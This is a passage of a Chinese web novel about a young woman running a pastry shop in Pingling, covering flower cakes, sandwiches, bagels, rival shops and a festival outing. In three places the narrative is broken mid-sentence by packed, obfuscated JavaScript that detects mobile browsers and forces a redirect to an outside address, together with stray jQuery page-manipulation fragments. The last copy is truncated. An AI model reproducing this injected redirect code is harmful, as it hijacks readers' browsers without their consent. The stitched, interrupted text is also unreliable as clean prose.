“我可没说你有关系。”粮铺掌柜也不承认。 好安：“……” “这是怎么了？” 路上如此大规模的人流量，瞎子都想问一句。 “有人投毒。” “就是青杨巷那个吴家。” 这可是大事！ 跟在后面的人越来越多。 吴家人很快被压到医馆。 医馆里面已经呆不下了，医馆外面更不用说，里三层外三层，路直接被赌死，蚂蚁过去都得翻山越岭。 不至于吧，她只多放了一点，脾胃弱的人才会想吐。但现在怎么都在吐，难道万和县的人脾胃都差？ 好安根本挤不进去，脸都差点挤歪了。她索性跑去对面的茶楼二楼等结果。 陈万就不一样了，男人，不怕挤。 凭着在这一块和谁都熟的天然优势，铁了头的穿过人群，来到医馆隔壁的一户人家，从后院翻墙进去了。 不知是谁报了官，衙役也来了。 医馆门口不准停留，四五个衙役疏通了一会，没吃肉夹馍看热闹的全部退散到街两边的摊子上或者店里。 好安捧着热茶看着医馆里进进出出。 两个衙役守门口，三个衙役进去了。片刻，出来两个衙役朝青杨巷走去，没一会他们带着一锅卤水又进了医馆。 里面好安看不到了便回去了。 前后脚，好安刚到店里，吴家人就去押去了衙门。 陈万作为一个看了全程的人，在铺子里大讲特讲。 “吴家黑心肝的，用做香薰的香料熬卤水！还贪便宜，拿莽草替代八角。这玩意可是有毒的！” 好安挑眉，怪不得一个个上吐下泻呢。 67. 鲜花饼 新铺子在长乐街，街两边都是店铺，后面串着一条条小巷。 年纪大的，坐在门口或者巷口喝茶下棋，年纪小的，在巷子里追逐嬉戏。 家家户户青烟袅袅，是个烟火气十足的地方。 长乐街的街道在平陵算开阔的，沿街的不少商贩店家为了扩大经营面积，都在铺子外面再搭一个棚子。 好安一开始还不理解，占用街道也不怕被衙役掀了。打听了一番才知道这都是过了允许的，甚至形成了一种风气。 平陵百姓默认哪条街上棚子多，哪条街才热闹，毕竟生意好了，嫌地方小才会搭棚子。 可棚子不是平白无故就让你搭的，还要再交上一份房廊钱。 这就算过了明路。 听隔壁铺子的掌柜说，这房廊钱是没有相关文书的。以前很多商业繁华的城市都有，但只有平陵保留了下来。 因为平陵还有一条平江，通海。夏季雨多的时候淮清河作为平江分支容易涨水。 平陵知府年年向朝廷哭穷，要钱。 朝廷不想出钱又想清净又想解决问题，便让平陵自己想办法。 有钱的达官贵人不敢要，有钱的商户不分分钟收款。府衙有钱了就不闹腾了，朝廷对此便睁一只眼闭一只眼。 收来的房廊钱算地方税，不用像之前专门针对商贩和店家收的过税或者住税是要上交国库的。 所以这方面管得也松，只要不影响交通，你爱怎么搭就怎么搭。 既然是默许的，好安也跟风搭了一个，去府衙交钱的时候，看门衙役一听说是交房廊钱果然都热情了不少。 二月二十一，辰时，宜开业。 再过一日就是花朝节，好安直接用鲜花和竹子做了一个花拱门放在新店门口，还剩了花朝节装扮的钱。 那些盛开在拱门上的鲜花，主要是粉色的桃花和绚烂的杜鹃，颜色由浅到深，中间再插上密密匝匝的樱花和成团的海棠，远看就想是天边的朝霞，纯净柔和，层层叠叠。 每一缕光线都像它的纱带，渲染这梦幻般的美丽。 更不用说忽然一阵风过，花非花，雨非雨，仙境也不过如此。 花拱门一般用于现代的婚礼庆典或者园艺与景观设计，都是些喜庆庄重的场合。 这年代谁见过这布置。 好安整这么大一出，路过的狗都要瞧上两眼。 既然看过来了，好安自然不会轻易松手。花拱门下摆了一张桌子，上面写着“新品试吃”四个字，再下面是硕大的“免费”。 试吃可能不懂什么意思，免费还不懂么。 对平陵人而言，好记的所有点心都算得上新品。 负责把分新品的人也大方，你想吃几种都给你夹，但一种只能夹一个，一人也只有一次机会。 装试吃点心的盘子也不大，掌心大小。点心切得也不是方方正正的，一盘最多垒三五个。 有的人想多排几次，占个便宜，但发新品的人过目不忘，换衣服的、贴胡子换发型的，不论你打扮成什么样，只要让他看上一眼就知道你领没领过。 “这个好吃吗？到我的时候刚好没了，我换了一个。” “好吃！你换的这个呢？” “好吃！” “那我们买哪个？” “都买！” …… 有免费试吃做噱头，一传十，十传百，半天平陵百姓就知道长乐街有一家叫好记的点心铺子。 除了免费，好安还退出了办卡活动。 充五百文送五十文，充一千文送一百文，依此类推。 买了三四百文的几乎都办了一张，买的少就合伙起来充一张卡。 五十文能买两袋子黄油年糕呢！ 充的最多的还是之前吃过生辰糕的那批人，她们早就盼着好安来平陵。银子都是几两、几十两的往里充。 是贵客！ 好记将她们引去楼上包间。 包间的木榻都是带靠背和扶手的。 “咦，这是什么？”小姐妹们纷纷好奇。这东西像榻又不像榻，像椅又不像椅。 “是沙发。”好安笑道：“快来试试舒不舒服。” 原本光溜溜的木制沙发和扶手上都铺着厚厚的羽毛垫。四角用绳子固定好，前后铺上一层草绿色精纺绣花棉麻布。 小娘子们一下便榻下去一块，心里一慌：“这……” 四周软绵绵的，小娘子们十分不适。 “往后坐，背靠着椅子。”好安示范道。 大伙看着好安放松的模样纷纷效仿，不断调整着姿势。等寻到了舒服的姿势，就像忽然打通了任督二脉，体会到了乐趣。 “比床还软和，我想在家里也做一个天天躺着！” “谁不想呢，但——” 说话人刻意拉长声音，目光在大伙身上扫了一圈，噗呲笑出声来。 坐没坐相，这要是摆家里被古板的长辈看见了不得挨训。 “那我还是来好记坐着吧，我爹训起我来都是一个时辰起步。” “还是来好记方便，能吃好吃的还能和姐妹们聊天。” 二楼虽然包厢少，但每个包厢都十分宽敞，不仅放了多人沙发还有单人沙发。 “后天大伙再来。我把我弟带着。”说话人向其他人递了一个“你懂的”眼神。 好安虽然好奇但也没多问。 有人秒懂，打趣道：“你个黑心肝的，你弟弟才多大就想着花他的私房钱！” “不小了，都能和我抢生辰糕了。不得让他好好补偿补偿我。要不是他们私塾明天踏青，我明天就想把他带来。” 踏青！ 好安适时的插上两句，了解到平陵有在花朝节踏青赏花食花的习俗。而且不是简单的在外面逛上一圈，是要在外面呆上一整天的。 “鲜花各有各的味道，要是不经过筛选，放了苦的还好，万一吃到有毒的就麻烦了。” “对！”有人立刻附和道：“我弟去年第一次做花糕是他们私塾先生带着做的，好苦到至少能吃。 他们私塾有个调皮的，选了各种各样的花做了十一二个花糕，带回去孝敬爹娘，他爹娘感动得全吃了，结果跑了一夜的茅房。我弟说他爹娘从昨天开始就千叮咛万嘱咐，让他别动手了，去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329631|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买花糕吃。” 食花好呀，正好她手里有一批去年做的玫瑰花酱。 本来是打算放满六个月再做鲜花饼，这样味道更加醇厚。 现在没六个月也有三个月了，涩味基本消失。 第二天花朝节，店里上了鲜花饼，好安还去了她们说的赏花点。 外面是油菜花田，里面是一片桃花林。这一块应该是知名赏花景点。 每一棵树下都有不少人走，俨然桃树有点不够分。 好安带着一个小二没朝里面挤，把移动小摊摆在出入口的地方。 还没开始吆喝，一个奶团子一样的小人跑了过来。 他皱着眉道：“你这个是花糕吗？” “我的是鲜花饼哦。”好安看奶团子扎着两个小揪，却一脸仇深似海的模样就忍不住想笑。 “我怎么没看见鲜花？” “切成丝了哦。” 好安掰开一个给他瞧。内里的玫瑰花酱晶莹剔透，丝丝分明。 其实从外面也能看出来，好安在水油皮里也参了一点玫瑰花酱。 奶团子皱眉了半天的眉才问道：“这个吃完会拉肚子吗？” 不会这么巧吧。 好安还没来的及说话，又来了一个奶团子，双手插胸，大声道：“没关系，就算拉肚子你爹你娘也不会打你，他们会去衙门告她。” 好安：“……” 这算风险转移吗？ “你说得对。”奶团子一口气买了十个，然后丢下一串铜板，大气道：“不用找了。” 鲜花饼五文钱一个，十个五十文。 好安和蔼可亲道：“宝，钱不够呦。” 奶团子咬着鲜花饼一下僵住，红着脸从怀里掏出一块银子，把铜板换了回去，然后死要面子的又说了一句：“不用着了。” 霎时，旁边的摊主投来羡慕的目光。 这谁家的少爷这么傻，不，是豪。 银子至少有三两。好安还是有点良心的，公平交易，她给这位金团子又包了五百八十九个鲜花饼。 旁边的摊主眼神又变了，像看傻子一样看好安。 不知道少爷是不是第一次遇到如此不占便宜的良心商家，还是对碎银子没有概念。 他看了看好安，又看了看脚下码得整整齐齐的鲜花饼陷入了沉默。 “哎，我去帮你喊先生。”另一个奶团子一溜烟的跑了，独留下小金团子一人。 “太多了。”小金团子半天憋出一句话。 现在摊子上没什么人，好安忍不住起了逗小孩的心思：“本来就五文钱一个，不然你爹娘万一给我告衙门怎么办？” 奶团子耳朵忽然红了红，不说话。 殊不知后来不论好记推出什么价格的东西，小金团子始终认为认为这是一家物美价廉的良心铺子。 好安一共就带了六百个鲜花饼，小金团子一人包场。 她也不打算去铺子里拿货再回来，便直接收摊回去了。时间太早，谢宗林还以为是出了什么事，卖一半回来了。 “不，今天走了狗屎运。”好安翻了翻黄历，果然宜出行。 68. 三明治 江陵府学是官办府学，更是“文枢”的象征，由朝廷派选教授担任府学的教学和管理。 顾教授便是其中三位教授之一。 学生放假，教授不一定。 今日顾教授回到家，便看见成堆的点心，他不由皱眉道：“谁送的？” 居然有人行贿到他头上！ “谁送的？你儿子送的！”顾夫人没好气道：“一个月的月钱都买了这鲜花饼。” 顾夫人之前一直反对给儿子发太多月钱，但顾教授坚持要发，说手里有钱看到好书可以直接买下来。 书她是一本没见着，点心倒是见了一堆。今天帮忙搬回来的先生都了搬出汗了。 说道儿子，顾教授这才发现点心后面还藏着一个小小脑袋，正左手茶，右手饼的边吃边喝。 是儿子呀。 顾教授散去身上的严厉，问道：“言儿怎么买这么多呀？” 顾言言双手一顿，道：“好吃。” “好吃可以少少买，买多了吃不完浪费。”顾教授开始夫子模式：“百姓种粮食不容易……” 顾夫人最烦说教，赶紧挥手让人准备晚饭。 顾言言也连忙抬手，递了一个鲜花饼给他爹，试图堵住他爹的嘴。 “爹，尝尝。” “嗯~不错！” 父慈子孝的画面很快被打破，下人端来晚饭。 “怎么只有粥？干的呢？”顾教授问道。 顾夫人推了推鲜花饼，道：“当然是吃饼，不然浪费。” “这——不会明天还吃这个吧。” “不然呢？什么时候吃完什么时候换。”顾夫人盛了一碗粥并给顾教授派了五个鲜花饼。 不管是什么美食佳肴也经不住天天吃。最后顾教授为了挽留自己于水火，把它们都拆分包好，送给府学里其他的教授或者学正。 有一位负责膳食的林教授吃了十分欢喜，第二日特意上门拜访询问是在何处购买。 “小儿在桃林赏花时碰到的，念着我忙于公务实在抽不出，又舍不得我错过这难得春光，特意……”顾教授先洋洋洒洒吹了三百字父慈子孝，才说道：“是在一个一二十岁的小娘子那卖的，叫好记，在长乐街上还有个铺子。” 这些信息都是印在油纸上的。 “居然这么年轻！”林教授面露惊讶：“能想到用糖和时间去除玫瑰花的涩味，这位小娘子一定是个妙人。” “那是自然，言儿向来只挑最好的送父母。” “令郎不仅小小年纪孝心可嘉，还慧眼识珠。” “林兄过奖了。我这还有一些鲜花饼，要不我俩一起来品品？” 顾教授只分的清好吃不好吃，品不出什么花来。但他爱听别人夸他儿子。 “那我就却之不恭了。”林教授没想到还有这种好事，他的鲜花饼刚收到就吃完了。 府学同僚加起来也四五十个，顾家也不剩多少，索性一次全端了上来。 林教授毫不犹豫的拿起一块鲜花饼咬了一口。 外皮因为隔日，有些变软。馅料闷出些水汽有些发胀粘稠，失了一些细腻，但仍不影响它浓郁的花香和甜而不腻的口感。 林教授吃得尽兴，顾教授夸得开心，也算双喜临门。 直到最后一块鲜花饼被林教授收入腹中，二人才不欢而散。 夸完后的鲜花饼好像真的特别好吃。顾教授挥了挥手，道：“再给我来两块。” “老爷，没有了。” “没了？！”顾教授惊道：“厨房不是还有十几块嘛？” “都没了。”下人看了看空了的碟子，又看了看空了的座椅，肯定道。 他才吃几块，儿子的孝心都进别人肚子里了？ 一定是林生那个老狗羡慕嫉妒他有儿子，明知道是他儿子买给他的，存心一个都不给他留！ 心脏！ 好安这两天鲜花饼的生意出奇的好，不少人指名道姓的要。 最后十个卖完，一个老丈风风火火的冲了进来。 “鲜花饼我都要了！” 好安：“不好意思，鲜花饼卖完了。” “那我定明天的！”林教授说道。 好安遗憾道：“明天也没有了。” 之前的玫瑰花是按照万和县的体量采购的。那一点量放到平陵根本不够看。 三天都没撑到。 林教授急了：“那什么时候有？” “最少还要四五个月。”好安如实回答。 林教授不可置信的看向好安，他明明看到刚刚还有人捧着鲜花饼出去的，那人还是顾文巍的学生。 一定是顾文巍那个老滑头知道他喜欢吃鲜花饼还讲这么长时间的废话，说不定那个学生也是他派来买的，好让别人再去找他听他夸他儿子！ 诡计多端！ “要不您看看铺子里其他的其他点心。”好安说道：“这款梅花米糕也是以花为主。” 林教授这才注意到好记的其他点心。 不看不知道，一看吓一跳。这家铺子里大部分点心他居然都没见过。 平陵居然还有他没吃过的点心！ “这个，这个，这个。”林教授来了兴趣：“还有这个，这个，这个都来一份” “要饮子吗？”好安问道。 林教授：“有哪些饮子？” 好安拿出菜单翻到最后一页开始介绍。 嚯，小小一家店居然有十几种饮子。 林教授眯了眯眼，道：“我要一杯海盐咸奶茶和抹茶茉莉烤奶。” 好安：“好嘞。这是您的号码牌，您先坐下，马上有专人为您送过去。” “这菜单我可以拿一份吗？”林教授第一次见点心铺子列菜单，还列成册子。 “可以。”好安双手奉上。 林教授在一楼随意找了个座位，开始翻看。 六道点心，两杯饮子很快上来。 他一边吃，一边找出菜单上对应的名字和图片。 名字倒是别具一格，但画画的笔触不行，只得其形，不得其神。 “小二，拿纸笔来！” 美食自然得配美图。 每种点心个头都不大，按照林教授的饭量自然远远不够，可心却是满足的。 临走时他把画交给好安，示意她这几种可以换掉。 老丈的画比赵瑾轩他们画的要简单的多，但不过寥寥几笔就勾勒出它们的神韵。 一块小巧的酥皮点心，简单的两三笔就能让人感受到酥皮层层叠叠的质感，仿佛轻轻一咬，就能听到它碎裂的清脆声响。 点心表面的糖霜，不是用了何种画法，明明是黑白水墨，居然呈现出晶莹剔透的效果，让人垂涎三尺。 好安见了自然喜上眉梢，道谢后又忍不住问道：“不知大师能否约稿？铺子里还有很多点心想赠予大师品尝。” 林教授眉头微皱，这是把他当做卖画的了？他的画可比那些人值钱多了。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336810|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她免费送我其他点心哎！ “除了铺子里的，好记有很多新品还没推出。”老丈既然主动画画想必也是对点心十分满意。 林教授眼珠一转，摆谱道：“那我可得看看其他点心做的怎么样，不好吃的我可不画。” “那是自然。”好安问道：“不知您如何称呼。” “你叫我林教授就好。” 原来府学的一把手。 “原来是林教授，久仰大名。”好安立刻行了个礼，把人请上二楼。 楼梯在拐角处，拐角处除了楼梯还有一些小巧得格子。 咦，那柜子上不还有块鲜花饼吗？这小娘子怎么说没了呢？不实诚！ 林教授脸色忽变正要甩手离开，却听好安道：“那是我们铺子里的点心模型。” 好安命人取了几个过来，果然都是假的，但做得十分逼真。 “铺子里还有很多，这几个送给您。” “使不得！”林教授侧过头去连连摆手：“只能看不能吃，岂不是让我天天流口水。” “您为我们店里画画，以后有什么想吃的直接说，我都提前给您留着！” “鲜花饼也留？” “留！” 林教授这才接过几个点心模型，虽然看到吃不到，但能让他心情好呀。 二月二十六，清明。前一日便是寒食。 禁火冷食是寒食最核心的习俗。 往年吃的都是青团、寒食粥等，今年忽然流行起一种叫三明治的冷食。 老铺点心在平陵开了三四年，算是年轻的点心铺子，和好记就隔着一条街。 别看不在这条街上就不是竞争对手。赚的都是附近街坊邻里的钱，很大一部分的顾客重叠。 之前还不显，但这次的三明治可给老铺点心带去不小的冲击。 三明治火了，但青团仍有很多人吃。老铺东家一开始并未在意。 可附近特意去好记买了三明治的人都顺手在好记买了青团，还去什么老铺。 以前去好记是绕路，现在变得去老铺绕路。 老铺点心生意和以前相比一落千丈，而且这种情况持续到了寒食节后。 “买到了吗？”老铺东家安排人去好记把每种口味的三明治都买了一个，“没人看见吧” “没人，好记人多，没人注意到小人。”小二自知失言，东家最听不得别人说好记人多。 他连忙把藏在怀里的三明治掏出来，转移话题道：“买到三种，火腿、藤椒鸡、鱼肉。” “快拿给师傅尝尝。” 三明治看着不难，不过就是面包裹菜和肉。 菜和肉平衡搭配的技巧找个老道的厨子就能解决。 最难的是里面的酱料。 什么沙拉酱、塔塔酱、蛋黄酱、蛋酱，闻所未闻。 “吃出什么来了吗？”老铺东家迫不及待的问道。 “应该有鸡蛋。” “要你说，人家就叫蛋黄酱！还有其他的吗？” “它口感如此细腻，莫不还有鲍螺？” “那不还赶紧试试！” 蛋黄酱拐到鲍螺上，真是拉着耳朵擤鼻涕——胡扯。 蛋黄和鲍螺融合，能入口但是太过浓稠，更像冰淇淋而不是酱。 老铺东家顾不上这些，哪怕寒食过了也赶紧出。 加了鲍螺价钱可不低，而且有好记珠玉在前，并没有多少人来买。 老铺的东家因此记恨上了好记。 69. 贝果 天边微微泛起白光，残月还勾着西檐。 卯时，平陵城已经醒来，巷子里炊烟袅袅，长乐街上的各家各户纷纷开门营业。 谢宗林将做好的刚摆上柜，林教授便掐着点来了，这次他还带了一个一看就是很有福气的人。 “有什么重要的事不能等我吃完饭再说？”姚青云眉头紧锁，不知林教授葫芦里卖得什么药。 “我请你吃！”林教授头也不回，道：“府学食堂的朝食不是馒头就是面，也不知道换个口味。” “那还能吃什么？” 姚青云正是府学食堂的大师傅。他和林教授认识数十载，一个善做，一个善吃。整个江陵府学他俩关系最好。 林教授：“你马上就知道了。” “林教授早，吃过饭了吗？”他俩一进门好安便看到了。 “马上吃。”林教授点了几道点心坐到一边。 “一早上就吃这个？”姚青云面露嫌弃，不理解，也不想尊重。 林教授叉腰：“吃这个怎么了，谁家天天早上吃面。” 谢宗林端着刚吃完的面碗飘过。 “你看有甜有咸多好。府学的朝食也该换些花样了。” “你说把馒头面条下掉上这个？”姚青云不可置信道。 这点心稀奇古怪还小，完全没有馒头实在。 “我没说下掉馒头面条，我的意思是你可以在朝食里添几种其他点心。”林教授说道：“早上天天就那两样，谁都吃够够！” “我就没吃够！”姚青云反驳道：“面食多好吃，吃一辈子都不会够！” “你是豫州人，你当然不够，你一天三顿吃馒头吃一辈子你都不够！”林教授举着点心，不服道：“但江陵府学的学生来自五湖四海，可不是所有人天天早上想吃馒头面条。” “他们没说，就是没有不想。”姚青云不接受。 “你等等，你马上就知道他们想不想了。”林教授也不和他争辩，示意他看向柜台。 林姚二人进来后，陆陆续续有客人前来。 “一碗糖水豆花，一个抹茶碱水包，四个虾饺，在这吃” “两个芝麻馅麻团，一碗热豆浆。” “一碗莲子百合红豆沙，一份鸡蛋仔。” “一个麻糍包油条，一个肉松饭团，打包带走。” 是的，一大早上吃点心的人少，但平陵房租这么贵可不能浪费。 好安便推出几样便携的朝食类点心。没想到还带动了其他点心和糖水的销量。 早上来的客人几乎都是学生打扮，有府学的，也有其他学堂的。 不是堂食就是打包，尤其打包的，一拎一大串，一看就是帮很多人稍的。 柜台不停地传来点菜声，只要点的是他们桌子上有的，林教授就夹起来在姚青云眼前晃上一圈，然后咬上一口。 姚青云越看眉头越深，这些学生中不乏他认识的。 有免费的食堂居然不吃，都要跑出来花钱打野食。 这点对姚青云刺激很深。 食堂的朝食很难吃吗？ “这又不是荒郊野岭，不叫打野食，叫打牙祭。”林教授一眼看出好友心中所想，说道：“府学的食堂也该改进改进了。” “尽搞些花里胡哨的。”姚青云面露不悦。 林教授：“但大家爱吃啊。” 姚青云：“这些东西哪有馒头面条顶饱！” 林教授：“但大家爱吃啊。” “！” 姚青云气得起身要走，林教授赶紧放下筷子拦住。 “别着急，你先尝尝。”林教授拿来一个贝果。 姚青云不情不愿的咬了一口，嘴硬道：“不就是变了形状的烤馒头，还不如原本的软和香甜。” “这个要这么吃。”林教授点的是烟熏鸡肉滑蛋贝果和抹茶奶油贝果。 他拿着竹刀把贝果切开，然后涂上一层奶油。其实店里有夹心的贝果也有抹好的贝果，但林教授喜欢这种自己动手的，更有成就感。 林教授：“再尝尝。” “再尝尝就再尝尝，我看能抹出什么花来！” 姚青云一口咬下去，忽然不说话了。 其实，他之前第一口咬下去就感受到了不同之处。 焦黄的外皮有一种独特的酥脆感。内部蜂窝紧密，口感紧实而有韧性，是越嚼越香。 抹上奶油后，浓郁的抹茶奶香与贝果的麦香相互交融，更一下提高了整体的风味，丰富了层次。 “如何。”林教授问道。 姚青云不回答，只是哼唧了两声。 林教授继续说道：“馒头面条是好吃的。之前那个厨子做的馒头面条就一流，但如今这个什么水平你不是不知道。” 说到这个，姚青云老脸微红。 现在负责做朝食的是他小舅子。 之前那个厨子辞工回乡了，他一时没找到人替代。刚好小舅子闲着，他媳妇又催着他给小舅子安排工作。 有点基础，大菜做不了，但这些简单的吃食做得还算得过去，便让他上岗了。 他是个僵脑筋的，也不会搞一些小巧思，这两年下来都是一成不变的馒头和面条。 “还有一个你也知道，去年南边的海寇有些不安分，朝廷早就想收拾他们了。”林教授压低声音道：“想打仗得有钱吧，钱从哪来？开源节流。 朝廷每年拨给江陵府学食堂的补贴有多少你最清楚。和其他支出相比，一节流第一个节的就是这个。到时候府学食堂得自负盈亏了吧。” 能在闻名天下的学府谋得一半官职的都不是简单的人。谁背后没有独家的消息渠道。 林教授说的这个事，姚青云今年年初也听到了，估计最迟下半年政策就能到位。 自负盈亏有好有坏。好了自己位置更稳了，还能合理的赚上一笔。要是不好，最轻的怕是被迫告老还乡了。 姚青云拧眉想了想，要是流失的这批学生能回去吃饭对自负盈亏只有好处没有坏处。 “可这位东家能忍痛割爱吗？”姚青云问道。 “想什么呢！”林教授说道：“人东家就是大师傅。她会不开铺子去府学当个做点心的。” “那你给我带来干嘛？害我空欢喜一场。”姚青云不满道。 林教授眨眨眼道：“你可以从她这买呀！大批量购买协商个折扣，赚这个折扣钱，日积月累下来也是不小的一笔。” “有理，还是你们读书人点子多。” “你就是这几年过的太轻松，脑子都不用了。” “我看你和这东家挺熟，”姚青云说道：“那就劳烦林教授引荐一下喽！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344446|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没问题！”林教授拍了拍胸口道。 也不全是为了别人，食堂里要是有了好记的朝食点心他就不用一大早的就朝好记跑，毕竟他家离好记挺远的。 “对了，你说今天请我吃饭是不是？”姚青云忽然问道。 “对啊。”林教授指着桌上的点心道：“这么多不够我俩吃的吗？” “有林教授这句话就行。”姚青云笑道：“我可是厨子哎，这么点还不够塞牙缝的呢？” 说着，他对小二高声喊道：“把你们家有的都上一遍！” 店小二：“那您这张桌子可能不够放。” 姚青云豪气道：“那就换个大桌！” 林教授颤颤巍巍伸出手，道：“你！” 江陵府学的订单！ 好安十分意外，十分乐意。 虽然这会导致早上好记的人减少，但这一部分完全可以用订单来弥补。 而且又不是所有朝食点心都签上，只是一部分。家住的近的学生还是愿意直接来好记吃。 最重要的还有名声。 江陵府学的学生教授们都在吃的点心。 这话题度和运作空间太大了。 ———— 端午将近，好安回万和县一趟，替好昕请了几天假，接来府城一起欢欢喜喜过个节。 一早，好安给好昕带上用红、黄、蓝、白、黑五种颜色的绳子编的花型手链。 “这是我给姐姐编编的！”好昕也准备了手绳。 每个方形花样中间都有一个黄色的小孔，像是铜板中间的方孔。 “这个花纹是谢大哥教我的，他说这个手绳就叫有钱花手绳！” “好名字！”好安晃着手腕道，十分满意。 有钱花，一听就吉利。 谢宗林见好安喜欢便开心地笑了笑，琢磨了好几天才想出的花纹她喜欢就好。 “你也有！”好安像变魔法一样变出一根黑金星星手绳。 “别看它外表只有两种颜色，其实五种颜色一种不少，其他三种颜色都被我编在里面了。黑金戴你手上一定很酷！” “我的！”谢宗林没想到自己还有，双眼一下噌得亮了。 “当然有啦。”好安给谢宗林带上。 果然，骨节分明修长的手就适合黑金这种低调炫酷的颜色。 “好啦，快去吃饭！上午淮清河有龙州赛，我们都去看！” 朝食是粽子，蜜枣粽、鲜肉蛋黄粽，还有鲍鱼海鲜粽！ “今天要多吃点，吃饱了才有力气喊。” 平陵的端午比万和县热闹的多。 人多，摊子也多。 好安难得没有摆摊的想法，带着他们朝淮清河挤。 越靠近淮清河，推搡越多。好安前面就有个猛人，一头扎进去又被一头推出来，连带好安往后退。 两脚发乱，好安一个没站稳眼看就要摔个大屁蹲时，身后突然被一个款式的肩膀抵住。 她侧头抬望，一入眼就是谢宗林刀削般的脸庞和清晰的眉骨。 嘶，这个角度有点帅啊。 谢宗林侧眸看过来：“有伤到哪吗？” “没！”好安一下支棱起来，撇过头去。 她偷偷抬手摸了摸滚烫的脸颊。 死脸，怎么这么薄啊。 70. 盲盒 五月的江陵正值盛夏，阳光明媚，万物昌盛。人要是在太阳下站上片刻就觉得浑身发烫，面干口燥。 但今日不一样，临淮楼前拍了十几米长的队伍。一个个都像打了鸡血一样，对高空烈阳全然不见。 “林府老太爷过寿，请了大晏最有名的戏班子——童家班在临淮楼连唱六天大戏。好安你领的什么时候的票？”隔壁卖成衣的荀娘子问道。 原本是什么时候想看就什么时候去。但架不住童家班太过火热，第一天平陵的百姓差点把临淮楼挤炸，还闹出了踩踏事故，差点闹出人命。 林府免费请听戏本就图个吉祥如意和好口碑。但现在看来不行了，要是闹出人命得多晦气，说不定还会沦为其他大户人家的笑话。 要是收回的话也不行，君子一言，驷马难追，半路反悔的一样有损名声。 当天，童家班和林府就想了个法子，凭票观看。 想看的百姓可以去贺家名下任意一家铺子免费领票。今日的领完了就领明日的，明日的领完了就领后日的。 这个方法刚出来的时候造人唾骂了，但一天下来，大伙就发现它的好处。 不用为了有座位提前去挤，以前上场没结束，想看下场的人就要在门口守着。一场戏半个或一个时辰的话得花上翻倍的时间才能看到。 现在只要有票就肯定有座位，到点了去排队就行，不仅方便还节省了时间。 “我们是戌时四刻的票。”好安说道。 好昕最近也转学到江陵，所以去看戏的是她、好昕和谢宗林。 荀娘子看了看自己的票，她是酉时，极好的时辰。靠近傍晚，热气减半，但天色还早，四下敞亮观看效果比戌时的要好。 可自己今天太忙，晚上怕是都不得闲。偏偏自家的儿子就是今天要去看。荀娘子扭不过，便问好安能不能带他过去一起看。 “行啊。”荀娘子的儿子比好昕还大些，也不个上房揭瓦的泼猴。到时候坐在一起，两个大人看两个孩子完全没问题。 “那真是太谢谢了。”荀娘子欣喜道：“你等着，我现在就给你拿票。” 说是拿票其实是换票。 荀娘子的票时辰好，出去换个戌时的十分容易。 再回来时，荀娘子除了票还带了一袋子瓜子花生。 童家班的戏免费，临淮楼的花生瓜子可不免费。 好安也没拒绝，调侃两句便笑着接下了。 时辰一到，荀娘子儿子荀睿穿着一身崭新的衣服来了。 “睿哥，你的衣服上还有小人。”好昕稀奇道。 这年代可不是现代社会衣服上什么图案都印。印小人这种设计可以说是少之又少。 荀睿捧着衣角的花纹，珍惜道：“这可不是小人，是李淑文！” 李淑文是童家班最出名的花旦，甚至可以说是童家班的招牌。 好安挑了挑眉，赤裸裸的周边！ 荀睿小小年纪，还挺上头啊。 好安四人来到临淮楼时天色已晚，但临淮楼前挂着十数串灯笼，照的灯火通明。 嚯！好多个荀睿。 准确说是好多个穿着和荀睿衣服一样的人。 他们三三两两聚在一起，眉飞色舞、神情激动。 荀睿也很想过去和他们交流，但今天出门去娘亲千叮万嘱让他收敛，别给好安姐添麻烦。 所以荀睿硬生生忍住没上前去，但双脚还是忍不住在原地雀跃地蹦了几下。 这个李淑文这么大魔力吗？ 好安大概数了数穿同款衣服的人。 一二三…… 四五、四六、四七…… 一个平陵，一场折子戏就这么多同款，那全国得有多少同款！ 这家布行赚发了！ 四刻一到，众人进场。 临淮楼是平日里平陵最大的茶楼，但除了是茶楼，也可以用作其他。 有人包场办席面就是酒楼。有人包场办唱戏就是戏楼。 好安给作为茶楼的临淮楼的送过点心，也给作为酒楼的临淮楼送过生辰糕。楼里什么模样她一清二楚。 可今天算是大变样！ 一楼但凡有空隙的地方都摆上了桌椅，地上也铺上了红毯。二楼三楼她看不到，但二三楼的扶栏上都挂着寿联和寿幛。 舞台也比往日宽阔许多，两边的架子都被搬走，三面敞开，一面做后台。 后台上除了悬挂红绸，正中间还有一扇“寿星图”屏风。 两边数排红烛照的楼内亮如白昼。 等众人坐定，后门又塞进来几个没票的人，折子戏便要开始了。 人未出，声先响。 鼓锣点、丝竹乐。众人“唰”一下安静下来。 好安瞄了一眼荀睿，只见他两眼发光，一动不动的盯着舞台。 